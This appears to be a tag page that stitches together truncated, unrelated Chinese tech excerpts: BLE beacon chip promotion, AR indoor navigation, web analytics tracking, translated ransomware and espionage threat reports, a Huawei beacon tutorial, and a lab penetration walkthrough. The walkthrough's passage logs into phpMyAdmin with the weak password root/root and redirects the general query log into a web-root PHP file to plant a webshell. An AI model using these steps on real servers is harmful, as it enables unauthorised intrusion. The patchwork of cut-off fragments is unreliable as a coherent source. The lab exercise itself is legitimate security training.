beacon

蓝牙低功耗(BLE)技术是蓝牙V4.0核心规范的一部分，它可以满足小型电池供电的设备进行低功耗无线连接的要求，并大大延长电池寿命.主要应用包括:定位标签，资产跟踪，运动及健身传感器等。 巨微 蓝牙芯片 MG127 是一款低功耗、低成本的BLE 收发器，内部集成了发射机、接收机、GFSK 调制解调器和BLE 基带处理。采用的封装是DFN3x3 ，只需搭配低成本MCU 和少数外围被动器件，即可实现BLE 遥控、蓝牙电子秤等应用。MG127电源电压1.9~3.6，可以采用一个纽扣电池（3.0v）供电,3uA 待机电流,20mA@0dBm 持续发射,18mA 持续接收,DFN3x3 封装，外围BOM 很少,只需低成本MCU 配合。 面对碎片化低成本市场： MG127 +应用MCU BLE广播信道的特点 数据广播蓝牙遥控器解决方案 数据广播的无线传感传输解决方案 来源： oschina 链接： https://my.oschina.net/u/4334778/blog/4299696

点击上方“ 3D视觉工坊 ”，选择“星标” 干货第一时间送达 随着技术的不断发展，在未来几年中，基于AR的室内导航应用在不同消费领域会出现大规模的增长。 室内导航与室外导航在复杂程度上有很大不同。对于户外导航，数百万人目前使用这项技术，因为它对性能要求不高;现代智能手机甚至智能手表都内置了GPS和地图。而AR室内导航技术相当复杂，它包含3个必须考虑的模块：定位，映射和渲染。 映射是唯一简单的模块(Mapping)。有了地图和坐标，就很容易制作路线。该模块易于根据给定的业务用例/需求进行升级和定制。 渲染模块管理AR内容的设计，其工作直接取决于定位的精度。我们可以轻松地以3D绘制路线，但是在将虚拟对象与现实世界进行匹配时面临一些挑战。渲染的质量和精度将取决于AR SDK等（例如ARKit、ARCore等）。 在定位方面，情况变得有些艰巨。没有准确的方法来确定用户在室内的确切位置，包括确切的楼层。确定正确的精度水平也是一个挑战。例如，十米够吗？5米呢？还是1米？ 室内定位的可用技术 用于室内定位系统的GPS：GPS是导航领域中的现有技术之一，但是，它不能提供建筑物内部的准确定位。在大型和低层建筑（例如机场）中，它相对准确；但它无法确定更详细的信息，例如楼层号，而实现此目的的唯一方法是手动进行操作，例如使用Apple或Google Maps进行操作的方法。这里的要点是GPS可以正常工作

任何一个重视数据的公司与部门，都不会忽略前端埋点数据上报的作用。 从直观上看，前端的埋点上报方案有啥难的呀？不就是将用户行为数据收集上来，就可以了么？ 从实际开发经验来回答：实际上并没有那么简单。为了能够将收集的用户数据最终展示并从中分析得出有意义的数据，这其中涉及的细节比想象的要多。 在本文中，我们会从两个方面来思考数据埋点上报的过程：数据收集与数据上报。 数据收集 对于数据收集的过程，我们不会对数据上报方式做区分（如常见的埋点上报与无埋点上报），而重点思考不管哪种上报方式都通用的技术点。重点考察如下基本的数据信息：UV、PV、应用浏览总时长。 UV 针对UV的统计维度有两个：注册用户与未注册用户。 注册用户好说，只需要有应用中注册用户的唯一标识符即可。 对于未注册用户，如何识别这是一个用户呢？在这种情况下，问题会转化为：如何识别一个设备？ 如何识别一个设备？ 最容易想到的就是利用浏览器的存储功能：cookie、localStorage等。具体做法是：在用户首次加载页面的时候，将UUID（如随机生成的字符串）放入到存储中，这种方案是最简单的，其中： Cookie 有生命时长限制并且有容量大小的限制。 localStorage 会永久保存，并且在容量方面比cookie大得多。 所以，使用localStorage就会比cookie更有效。但是，基于浏览器存储功能的方案

原文链接： WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations 译者：知道创宇404实验室翻译组 Broadcom旗下的赛门铁克发现并警告用户：攻击者试图部署WastedLocker勒索软件，对美国公司进行了一系列攻击。这些攻击的最终目标是通过对受害者的大多数计算机和服务器进行加密来削弱受害者的IT基础架构，以要求获得数百万美元的赎金，目前至少有31个组织受到了攻击，这意味着攻击者已经破坏了目标组织的网络，并且正在为勒索软件攻击奠定基础。 是一种相对较新的定向勒索软件，在 NCC Group发布 之前就已被 记录 ，而赛门铁克正在对受影响的网络进行扩展。WastedLocker被归因于臭名昭著的“Evil Corp”网络犯罪组织，Evil Corp曾与 Dridex银行木马 和BitPaymer勒索软件相关联，勒索金额高达数千万美元。两名涉嫌参与该组织的俄罗斯男子在美国对他们进行了 公开起诉 。 这些攻击始于一个名为SocGholish的基于javascript的恶意框架，该框架被追踪到超过150个受到威胁的网站伪装成软件进行更新。一旦攻击者进入了受害者的网络，他们就会使用Cobalt Strike恶意软件和一些非本土工具来盗取身份证件，升级特权，然后在网络中进行移动

上海巨微独创的BLE射频前端的芯片是在巨微自主研发的BLE基带和协议栈基础上，精简开发的一系列性价比极高的射频芯片。巨微MG126和MG127系列射频芯片可以与市面上绝大多数MCU芯片配合，完成BLE数据传输功能。是广泛的MCU微控制公司的无线好帮手。 射频芯片对应的协议栈设计精简。协议栈如果用软件来实现，并运行在MCU上的情况下，代码和程序所占用的空间和运算量会影响MCU的应用程序的开发能力，也会是MCU生态最大的考量。代码精简的协议栈将是降低MCU接入门槛的最大因素。 射频芯片结构简单和性价比高。 射频芯片 的结构要足够简单和成本低，封装或晶圆面积要足够小，以便于模块和合封方案的设计。 射频芯片与MCU之间的接口要非常简单和通用。SPI接口是MCU行业最常用的兼容性最好的接口。这种接口不限于两颗芯片之间的时钟异步，对信号的传输成功率有很好的保证。 射频芯片供应商提供完整的兼容性保障。蓝牙兼容性是所有 蓝牙芯片 供应商面临的最棘手也是最开放的问题。快速及时且有效的解决客户产品的兼容性问题，是通用蓝牙射频芯片供应商所提供的最重要的技术保障。 射频芯片供应商上海巨微不仅能够提供封装片，还能提供晶圆合封生产中的封装测试的专业支持。提供小体积的封装片不仅仅能够满足系统验证和早期调试的要求，还能够满足一部分小批量的方案商的需求。同时提供完整的射频测试的流程支持。这部分的专业技能

原文链接： Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies 译者：知道创宇404实验室翻译组 去年年底，我们发现了针对欧洲和中东地区的航空航天和军事公司的攻击活动，该攻击在2019年9月至2019年12月非常活跃。通过对两家受影响的欧洲公司的深入调查，我们对其攻击活动进行了深入了解，发现了之前从未被记录的恶意软件。 本文将对攻击活动的具体情况进行分析，完整的分析报告可查看白皮书 《运营感知：针对欧洲航空航天和军事公司的针对性攻击》 。 基于名为Inception.dll的相关恶意软件样本，我们将这些攻击称为“操作感知”，发现这些攻击活动具有很高的针对性。 为了危及目标，攻击者以诱人的虚假工作机会为幌子。在取得信任后，开始部署了自定义的多级恶意软件以及修改过的开源工具。除此之外还采用“陆上生存”策略，滥用合法工具和操作系统功能，使用多种技术来避免检测（其中包括代码签名、定期对恶意软件进行重新编译以及冒充合法公司来进行诈骗）。 我们调查了解到该行动的主要目标是间谍活动。但是在调查的某个案例中发现攻击者试图通过商业电子邮件折衷攻击(BEC)将访问受害者电子邮件帐户的权限货币化。虽然我们没有找到有力的证据将攻击与已知的威胁行为者联系起来

靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡，仅主机模式192.168.52.0网段模拟内网，192.168.72.0网段模拟外网 Kali linux IP 192.168.72.131 win7 IP 192.168.72.130/192.168.52.143 win2003 IP 192.168.72.141 DC 2008 IP 192.168.52.138 0X02信息收集 用nmap找到外网IP地址 netdiscover -i eth0 -r 192.168.72.0/24 御剑扫目录扫到后台 扫到目录http://192.168.72.130/phpmyadmin/ 弱口令root /root进入后台 0x03phpmyadmin后台getshell show variables like '%general%'; #查看日志状态 SET GLOBAL general_log='on' SET GLOBAL general_log_file='C:/phpStudy/www/233.php' 设置路径 SELECT ' ' //写入一句话木马 getshell http://192.168.72.130/233.php 0x04权限提升

  当你想找一家餐厅吃饭，却不知道去哪家，这时候手机跳出一条通知，为你自动推送附近优质餐厅的信息，你会点击查看吗？当你还在店内纠结于是否买下一双球鞋时，手机应用给了你发放了老顾客5折优惠券，这样的广告你有拒绝的理由吗？   这样的广告不仅不会引起用户的厌烦，还满足了用户的需求。更准确的广告推送，减少对用户不必要的打扰，提高用户对应用的满意度。那如何才能给自己的APP增加一个针对附近人群的精准广告推送功能呢？   可以接入华为近距离通信服务，通过蓝牙信标消息订阅功能（Nearby Beacon Message）来实现. 在商场中部署Beacon，Beacon消息提供精确的相对位置信息，当用户走近餐厅、商店时，就会收到本店预先配置好的促销消息，例如优惠券、打折信息等等，从而可以很便捷的对本店进行推广，下图是功能演示。   如果你对实现方式感兴趣，可以在Github上下载源码：    https://github.com/HMS-Core/hms-nearby-demo/tree/master/NearbyCanteens 1.开发准备   如果您已经是华为的开发者，可以省略此步骤。如果您以前没有集成华为移动服务的经验，那么需要先配置AppGallery Connect，开通近距离通信服务并集成HMS SDK。相关步骤请参考 官方文档 。 1.1